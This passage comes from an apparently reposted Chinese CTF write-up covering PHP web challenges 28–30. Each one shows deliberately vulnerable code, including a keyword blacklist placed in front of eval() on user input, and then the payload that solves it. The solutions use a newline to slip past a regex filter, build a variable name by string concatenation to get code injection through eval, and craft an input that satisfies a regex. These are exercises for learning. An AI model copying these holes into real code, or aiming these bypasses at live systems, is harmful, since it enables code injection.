            echo 'Login success!';
            header('Location: ./');
        }

        echo '<hr>';
    }

highlight_file(__FILE__);

抓包截取跳轉頁面。

28.

<?php
    error_reporting(0);
    require __DIR__.'/flag.php';

    if(isset($_GET['say']) && strlen($_GET['say']) < 20){

        $say = preg_replace('/^(.*)flag(.*)$/', '${1}<!-- filtered -->${2}', $_GET['say']);

        if(preg_match('/give_me_the_flag/', $say)){
            echo $flag;
        }else{
            echo 'What the f**k?';
        }

        echo '<hr>';
    }

    highlight_file(__FILE__);

正則表達式缺陷:payload:?say=%0agive_me_the_flag,因為用於任意字符匹配並不包括換行符。

29.

<?php
    error_reporting(0);
    require __DIR__.'/flag.php';

    $exam = 'return\''.sha1(time()).'\';';

    if (!isset($_GET['flag'])) {
        echo '<a href="./?flag='.$exam.'">Click here</a>';
    }
    else if (strlen($_GET['flag']) != strlen($exam)) {
        echo 'Not allowed length';
    }
    else if (preg_match('/`|"|\.|\\\\|\(|\)|\[|\]|_|flag|echo|print|require|include|die|exit/is', $_GET['flag'])) {
        echo 'Not allowed keyword';
    }
    else if (eval($_GET['flag']) === sha1($flag)) {
        echo $flag;
    }
    else {
        echo 'What\'s going on?';
    }

    echo '<hr>';

    highlight_file(__FILE__);



<?php
$s=sha1(time());
echo $s;
?>

發現每時每刻長度都固定: 3e16f4fb5552eea3a9ca69b4a3b34fa00cc47900
eeb3d8c9d23853b5cdd9ff5b99b6032562b51ddd b3b67a4905a90a58ad871c6fa24b6740f1530b86 8b5202991bcba3ff13dd2c1f5a37d49e00e4bc48 增加條件: <?php $s=sha1(time()); echo $s; $c=strlen($s); echo '
'; echo $c; ?> 輸出
09d3c5189576f97f22d5bf4a31074bec4db71289
40 長度為40.
加上php判斷條件后長度為49。嘗試輸入49個0成功。
此時關注到最后一個判斷條件: 此處我們可以自己造一個韓束出來來顯示flag這個變量,但由於flag被過濾,我沒讓你需要用拼接的方式來讓它顯現出來 $a='alag'; $a{0}='f'; 在php中 <?php echo $a?>和<?=$a?>是一樣的 payload:?flag=$a='alag';$a{0}='f';1111111111111111;?><?=${$a}?> 此時就是echo $flag

30.

<?php 
require __DIR__.'/flag.php'; 
$IsMatch= preg_match("/hongya.*ho.*ngya.{4}hongya{3}:\/.\/(.*hongya)/i", trim($_POST["id"]), $match);
if( $IsMatch ){  
  die('Flag: '.$flag);
}

highlight_file(__FILE__);
?>

滿足正則表達式匹配即可,hongya..ho..ngya....hongyaaa:/./..hongya


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM